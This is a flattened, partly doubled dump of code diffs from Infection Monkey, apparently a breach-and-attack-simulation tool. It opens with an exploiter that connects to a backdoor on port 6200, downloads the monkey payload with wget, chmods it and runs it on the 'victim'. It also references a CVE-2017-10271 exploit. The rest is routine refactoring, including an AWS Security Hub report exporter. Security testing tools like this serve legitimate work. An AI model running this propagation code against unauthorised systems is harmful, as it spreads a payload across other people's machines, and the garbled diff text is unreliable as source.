backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else :
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
return True
else:
return False

View File

@ -15,7 +15,7 @@ __author__ = 'VakarisZ'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists # Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s" LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized" POWERSHELL_NOT_FOUND = "powershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine']) # Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32" WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64" WIN_ARCH_64 = "64"
@ -253,7 +253,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp: if 'No such file' in resp:
return False return False
else: else:
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % str(host))
return True return True
def check_remote_files(self, url): def check_remote_files(self, url):
@ -281,7 +281,7 @@ class WebRCE(HostExploiter):
""" """
ports = self.get_open_service_ports(ports, names) ports = self.get_open_service_ports(ports, names)
if not ports: if not ports:
LOG.info("All default web ports are closed on %r, skipping", host) LOG.info("All default web ports are closed on %r, skipping", str(host))
return False return False
else: else:
return ports return ports

View File

@ -5,7 +5,7 @@
# Luffin from Github # Luffin from Github
# https://github.com/Luffin/CVE-2017-10271 # https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271 # CVE: CVE-2017-10271
from __future__ import print_function
from requests import post, exceptions from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target

View File

@ -13,7 +13,8 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
from infection_monkey.monkey import InfectionMonkey from infection_monkey.monkey import InfectionMonkey
import infection_monkey.post_breach # dummy import for pyinstaller # noinspection PyUnresolvedReferences
import infection_monkey.post_breach # dummy import for pyinstaller
__author__ = 'itamar' __author__ = 'itamar'
@ -23,7 +24,7 @@ LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False, 'disable_existing_loggers': False,
'formatters': {'standard': { 'formatters': {'standard': {
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
}, },
'handlers': {'console': {'class': 'logging.StreamHandler', 'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG', 'level': 'DEBUG',
'formatter': 'standard'}, 'formatter': 'standard'},
@ -70,7 +71,8 @@ def main():
print("Loaded Configuration: %r" % WormConfiguration.as_dict()) print("Loaded Configuration: %r" % WormConfiguration.as_dict())
# Make sure we're not in a machine that has the kill file # Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux kill_path = os.path.expandvars(
WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux
if os.path.exists(kill_path): if os.path.exists(kill_path):
print("Kill path found, finished run") print("Kill path found, finished run")
return True return True

View File

@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'itamar' __author__ = 'itamar'
@ -39,6 +40,7 @@ class InfectionMonkey(object):
self._exploiters = None self._exploiters = None
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._default_server_port = None
self._depth = 0 self._depth = 0
self._opts = None self._opts = None
self._upgrading_to_64 = False self._upgrading_to_64 = False
@ -59,6 +61,10 @@ class InfectionMonkey(object):
self._parent = self._opts.parent self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server self._default_server = self._opts.server
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
if self._opts.depth: if self._opts.depth:
WormConfiguration._depth_from_commandline = True WormConfiguration._depth_from_commandline = True
self._keep_running = True self._keep_running = True
@ -172,8 +178,9 @@ class InfectionMonkey(object):
if monkey_tunnel: if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine) monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server: if self._default_server:
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else ''))
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
# Order exploits according to their type # Order exploits according to their type
if WormConfiguration.should_exploit: if WormConfiguration.should_exploit:

View File

@ -8,6 +8,10 @@ import itertools
import netifaces import netifaces
from subprocess import check_output from subprocess import check_output
from random import randint from random import randint
import requests
from requests import ConnectionError
from common.network.network_range import CidrRange from common.network.network_range import CidrRange
try: try:
@ -16,6 +20,10 @@ except NameError:
long = int # Python 3 long = int # Python 3
# Timeout for monkey connections
TIMEOUT = 15
def get_host_subnets(): def get_host_subnets():
""" """
Returns a list of subnets visible to host (omitting loopback and auto conf networks) Returns a list of subnets visible to host (omitting loopback and auto conf networks)
@ -124,14 +132,18 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
def check_internet_access(services): def check_internet_access(services):
""" """
Checks if any of the services are accessible, over ICMP Checks if any of the services are accessible, over HTTPS
:param services: List of IPs/hostnames :param services: List of IPs/hostnames
:return: boolean depending on internet access :return: boolean depending on internet access
""" """
ping_str = "-n 1" if sys.platform.startswith("win") else "-c 1"
for host in services: for host in services:
if os.system("ping " + ping_str + " " + host) == 0: try:
requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False)
return True return True
except ConnectionError:
# Failed connecting
pass
return False return False

View File

@ -170,6 +170,8 @@ class HTTPServer(threading.Thread):
def report_download(dest=None): def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1 self.downloads += 1
if not self.downloads < self.max_downloads:
self.close_connection = 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant? httpd.timeout = 0.5 # this is irrelevant?
@ -214,6 +216,8 @@ class LockedHTTPServer(threading.Thread):
def report_download(dest=None): def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1 self.downloads += 1
if not self.downloads < self.max_downloads:
self.close_connection = 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release() self.lock.release()

View File

@ -2,7 +2,6 @@ import logging
import socket import socket
import struct import struct
import time import time
from difflib import get_close_matches
from threading import Thread from threading import Thread
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'hoffer' __author__ = 'hoffer'
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
try: try:
search, address = self._broad_sock.recvfrom(BUFFER_READ) search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search: if '?' == search:
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips ip_match = get_interface_to_target(address[0])
if ip_match: if ip_match:
answer = '%s:%d' % (ip_match[0], self.local_port) answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
elif '+' == search: elif '+' == search:
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
if not self.local_port: if not self.local_port:
return return
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips ip_match = get_interface_to_target(host.ip_addr)
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
def stop(self): def stop(self):
self._stopped = True self._stopped = True

View File

@ -37,8 +37,8 @@ class WindowsUpgrader(object):
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError): except (IOError, AttributeError) as e:
LOG.error("Failed to download the Monkey to the target path.") LOG.error("Failed to download the Monkey to the target path: %s." % e)
return return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)

View File

@ -28,8 +28,10 @@ from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.database import Database from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack.attack_telem import AttackTelem from monkey_island.cc.resources.attack.attack_telem import AttackTelem
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
@ -84,18 +86,14 @@ def output_json(obj, code, headers=None):
return resp return resp
def init_app(mongo_url): def init_app_config(app, mongo_url):
app = Flask(__name__)
api = flask_restful.Api(app)
api.representations = {'application/json': output_json}
app.config['MONGO_URI'] = mongo_url app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode()) app.config['SECRET_KEY'] = str(uuid.getnode())
app.config['JWT_AUTH_URL_RULE'] = '/api/auth' app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time() app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
def init_app_services(app):
init_jwt(app) init_jwt(app)
mongo.init_app(app) mongo.init_app(app)
@ -103,9 +101,16 @@ def init_app(mongo_url):
database.init() database.init()
Database.init_db() Database.init_db()
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
RemoteRunAwsService.init()
def init_app_url_rules(app):
app.add_url_rule('/', 'serve_home', serve_home) app.add_url_rule('/', 'serve_home', serve_home)
app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file) app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file)
def init_api_resources(api):
api.add_resource(Root, '/api') api.add_resource(Root, '/api')
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>') api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
@ -127,8 +132,22 @@ def init_app(mongo_url):
'/api/fileUpload/<string:file_type>?load=<string:filename>', '/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>') '/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>') api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(AttackReport, '/api/attack/report') api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
def init_app(mongo_url):
app = Flask(__name__)
api = flask_restful.Api(app)
api.representations = {'application/json': output_json}
init_app_config(app, mongo_url)
init_app_services(app)
init_app_url_rules(app)
init_api_resources(api)
return app return app

View File

@ -13,6 +13,7 @@ class Environment(object):
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland") _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
_DEBUG_SERVER = False _DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1) _AUTH_EXPIRATION_TIME = timedelta(hours=1)
_MONKEY_VERSION = "1.6.3"
def __init__(self): def __init__(self):
self.config = None self.config = None
@ -37,6 +38,21 @@ class Environment(object):
h.update(secret) h.update(secret)
return h.hexdigest() return h.hexdigest()
def get_deployment(self):
return self._get_from_config('deployment', 'unknown')
def is_develop(self):
return self.get_deployment() == 'develop'
def get_version(self):
return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '')
def _get_from_config(self, key, default_value=None):
val = default_value
if self.config is not None:
val = self.config.get(key, val)
return val
@abc.abstractmethod @abc.abstractmethod
def get_auth_users(self): def get_auth_users(self):
return return

View File

@ -32,6 +32,7 @@ def load_env_from_file():
config_json = load_server_configuration_from_file() config_json = load_server_configuration_from_file()
return config_json['server_config'] return config_json['server_config']
try: try:
config_json = load_server_configuration_from_file() config_json = load_server_configuration_from_file()
__env_type = config_json['server_config'] __env_type = config_json['server_config']

View File

@ -1,19 +1,19 @@
from monkey_island.cc.environment.environment import load_env_from_file, AWS import logging
from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.report_exporter_manager import ReportExporterManager
from monkey_island.cc.resources.aws_exporter import AWSExporter from monkey_island.cc.resources.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
__author__ = 'maor.rayzin' logger = logging.getLogger(__name__)
def populate_exporter_list(): def populate_exporter_list():
manager = ReportExporterManager() manager = ReportExporterManager()
if is_aws_exporter_required(): RemoteRunAwsService.init()
if RemoteRunAwsService.is_running_on_aws():
manager.add_exporter_to_list(AWSExporter) manager.add_exporter_to_list(AWSExporter)
if len(manager.get_exporters_list()) != 0:
logger.debug(
"Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
def is_aws_exporter_required():
if str(load_env_from_file()) == AWS:
return True
else:
return False

View File

@ -29,6 +29,7 @@ class ReportExporterManager(object):
def export(self, report): def export(self, report):
try: try:
for exporter in self._exporters_set: for exporter in self._exporters_set:
logger.debug("Trying to export using " + repr(exporter))
exporter().handle_report(report) exporter().handle_report(report)
except Exception as e: except Exception as e:
logger.exception('Failed to export report') logger.exception('Failed to export report, error: ' + e.message)

View File

@ -1,53 +1,42 @@
import logging import logging
import uuid import uuid
from datetime import datetime from datetime import datetime
import boto3 import boto3
from botocore.exceptions import UnknownServiceError from botocore.exceptions import UnknownServiceError
from monkey_island.cc.resources.exporter import Exporter
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.environment.environment import load_server_configuration_from_file
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from monkey_island.cc.environment.environment import load_server_configuration_from_file
from monkey_island.cc.resources.exporter import Exporter
__author__ = 'maor.rayzin' __authors__ = ['maor.rayzin', 'shay.nehmad']
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
['cnc', 'aws_config', 'aws_secret_access_key'],
['cnc', 'aws_config', 'aws_account_id']]
class AWSExporter(Exporter): class AWSExporter(Exporter):
@staticmethod @staticmethod
def handle_report(report_json): def handle_report(report_json):
aws = AwsInstance()
findings_list = [] findings_list = []
issues_list = report_json['recommendations']['issues'] issues_list = report_json['recommendations']['issues']
if not issues_list: if not issues_list:
logger.info('No issues were found by the monkey, no need to send anything') logger.info('No issues were found by the monkey, no need to send anything')
return True return True
current_aws_region = AwsInstance().get_region()
for machine in issues_list: for machine in issues_list:
for issue in issues_list[machine]: for issue in issues_list[machine]:
if issue.get('aws_instance_id', None): if issue.get('aws_instance_id', None):
findings_list.append(AWSExporter._prepare_finding(issue, aws.get_region())) findings_list.append(AWSExporter._prepare_finding(issue, current_aws_region))
if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys(), aws.get_region()): if not AWSExporter._send_findings(findings_list, current_aws_region):
logger.error('Exporting findings to aws failed') logger.error('Exporting findings to aws failed')
return False return False
return True return True
@staticmethod
def _get_aws_keys():
creds_dict = {}
for key in AWS_CRED_CONFIG_KEYS:
creds_dict[key[2]] = str(ConfigService.get_config_value(key))
return creds_dict
@staticmethod @staticmethod
def merge_two_dicts(x, y): def merge_two_dicts(x, y):
z = x.copy() # start with x's keys and values z = x.copy() # start with x's keys and values
@ -82,7 +71,8 @@ class AWSExporter(Exporter):
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') account_id = AwsInstance().get_account_id()
logger.debug("aws account id acquired: {}".format(account_id))
finding = { finding = {
"SchemaVersion": "2018-10-08", "SchemaVersion": "2018-10-08",
@ -100,27 +90,26 @@ class AWSExporter(Exporter):
return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn)) return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn))
@staticmethod @staticmethod
def _send_findings(findings_list, creds_dict, region): def _send_findings(findings_list, region):
try: try:
if not creds_dict: logger.debug("Trying to acquire securityhub boto3 client in " + region)
logger.info('No AWS access credentials received in configuration') security_hub_client = boto3.client('securityhub', region_name=region)
return False logger.debug("Client acquired: {0}".format(repr(security_hub_client)))
securityhub = boto3.client('securityhub', # Assumes the machine has the correct IAM role to do this, @see
aws_access_key_id=creds_dict.get('aws_access_key_id', ''), # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances
aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''), import_response = security_hub_client.batch_import_findings(Findings=findings_list)
region_name=region) logger.debug("Import findings response: {0}".format(repr(import_response)))
import_response = securityhub.batch_import_findings(Findings=findings_list)
if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: if import_response['ResponseMetadata']['HTTPStatusCode'] == 200:
return True return True
else: else:
return False return False
except UnknownServiceError as e: except UnknownServiceError as e:
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed') logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e.message)
return False return False
except Exception as e: except Exception as e:
logger.exception('AWS security hub findings failed to send.') logger.exception('AWS security hub findings failed to send. Error: ' + e.message)
return False return False
@staticmethod @staticmethod
@ -159,7 +148,7 @@ class AWSExporter(Exporter):
title="Weak segmentation - Machines were able to communicate over unused ports.", title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.", description="Use micro-segmentation policies to disable communication other than the required.",
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
.format(issue['machine'], issue['dest']), .format(issue['machine'], issue['dest']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -171,9 +160,9 @@ class AWSExporter(Exporter):
severity=10, severity=10,
title="Samba servers are vulnerable to 'SambaCry'", title="Samba servers are vulnerable to 'SambaCry'",
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
.format(issue['username']), .format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
issue['machine'], issue['ip_address'], issue['username']), issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -185,9 +174,9 @@ class AWSExporter(Exporter):
severity=5, severity=5,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), issue['username']),
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
issue['machine'], issue['ip_address'], issue['username']), issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -199,9 +188,9 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']), issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -214,7 +203,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -227,7 +216,7 @@ class AWSExporter(Exporter):
title="Elastic Search servers are vulnerable to CVE-2015-1427", title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.", description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'], issue['ip_address']), issue['machine'], issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -243,7 +232,8 @@ class AWSExporter(Exporter):
{0} in the networks {1} \ {0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'], issue['networks'],
issue['server_networks']), issue[
'server_networks']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -269,7 +259,7 @@ class AWSExporter(Exporter):
description="Update your Bash to a ShellShock-patched version.", description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']), issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -281,9 +271,9 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), issue['username']),
